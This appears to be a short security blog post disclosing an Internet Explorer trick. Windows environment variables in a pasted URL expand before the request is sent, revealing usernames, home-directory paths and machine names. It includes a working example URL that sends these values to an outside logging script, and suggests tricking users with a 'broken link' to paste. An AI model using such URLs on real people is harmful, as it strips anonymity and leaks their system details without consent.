

De-cloaking in IE7.0 Via Windows Variables

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Update: Tyler Reguly told me that you actually can get this working in IE8.0 but it needs to be part of a path. So I updated the example below so that it works in both.

One of the things Josh and I talked about during our preso was a way to get people to disclose their usernames and their machine names using a simple URL. Well, it turns out that in IE7.0 if you cut and paste things with a %...% in them it translates to a OS variable. So if you include something like %computername% or %appdata% or the like you'll end up with machine names and full paths to the user's home directory. That can be super helpful for de-cloaking. Please note **this only works in Internet Explorer**. Here's an example:

```
http://ha.ckers.org/log.cgi/rAnd0mcr4p%aPpdAta%2hide%coMpuTeRnaME%th3v4rz
```

If you cut and paste that it will be translated on the fly before it is sent. So how you'd use this is either just like you see above - a URL that must be cut and pasted to be used or something like a broken link that is clearly easily re-constructed just by changing one letter or removing a space or something. I never did find a way to automatically get this to fire. I tried in CSS, images, iframes,

frames, word docs, PDFs, and on and on. If someone figures out a way to make it automatically fire without user interaction that would make this a lot more useful. Either way, it seemed worthy of a post.

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